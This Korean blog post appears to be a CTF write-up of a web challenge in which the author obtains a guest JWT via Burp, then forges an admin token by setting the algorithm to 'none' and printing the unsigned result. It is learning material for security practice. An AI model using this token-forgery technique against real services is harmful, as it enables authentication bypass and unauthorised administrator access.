
위와 같은 웹페이지에서 admin 권한으로 로그인하여 flag를 획득하는 문제이다.
url로 /login에 접근해보았지만 405가 뜨면서 접근할 수 없다. (/flag도 마찬가지) 따라서 burp로 데이터를 보내야 될 것 같다.

그래서 위의 사진과 같이 header에 Content-Type: application/json를 추가하고,
{"username": "guest", "password": "guest"} 페이로드를 삽입했더니 오른쪽 response에 token이 출력된 것을 확인할 수 있다.
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.1bAygaodib4H4E3iMScGZ4DfAy1NZMvCI8hAXP_NCfA" 저번 핵테온 ctf에서 jwt를 활용한 문제를 푼 기억이 있기 때문에 이러한 형태의 토큰은 JWT라는 것을 보자마자 알 수 있었다. 따라서 이를 jwt.io 사이트를 통해 디코딩 해보니,

이렇게 username이 guest라고 설정된 것을 확인할 수 있었다. 따라서 우리는 alg를 none으로, username을 admin으로 바꾸고 role도 admin으로 변조하여 공격을 시도해볼 것이다.
변조된 JWT
<header>
{
"alg": "none",
"typ": "JWT"
}
<payload>
{
"username": "admin", "role":"admin"
}
--> eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.

'CTF & Wargame(WEB)' 카테고리의 다른 글
| Black-Hacker-Company (0) | 2025.05.14 |
|---|---|
| SSTI 관련 문제 풀이 (0) | 2025.05.04 |
| level 1 error based sql injection (0) | 2025.04.22 |
| level 2 blind sql injection advanced (0) | 2025.04.22 |
| level 2 DOM XSS (0) | 2025.04.22 |